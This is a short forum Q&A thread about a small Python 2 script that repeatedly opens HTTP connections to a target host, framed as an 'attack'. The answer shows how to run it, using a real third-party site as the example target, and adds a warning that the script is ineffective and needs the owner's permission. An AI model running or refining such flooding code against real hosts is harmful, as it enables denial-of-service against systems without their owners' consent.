How can I use this code?

Asked

Viewed 94 times

0

import socket, sys, os  
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];  
def attack():  
    #pid = os.fork()  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((sys.argv[1], 80))  
    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
    s.close()  
for i in range(1, 1000):  
    attack() 

1 answer

0


You can in the terminal do:

python ficheiro.py www.google.com 123

I’m warning you right now, it’s not gonna do what you expect, there’s not gonna be any... You should know that you shouldn’t try these things without permission from the system owner (sys.argv[1])

  • How could make a Ddos in a controlled environment for academic use?

  • 1

    There’s a lot on the Internet, and if you understand English well, I don’t see why you can’t find what you want. You can start by understanding: https://pt.wikipedia.org/wiki/Ataque_de_nega%C3%A7%C3%A3o_de_servi%C3%A7o

Browser other questions tagged

You are not signed in. Login or sign up in order to post.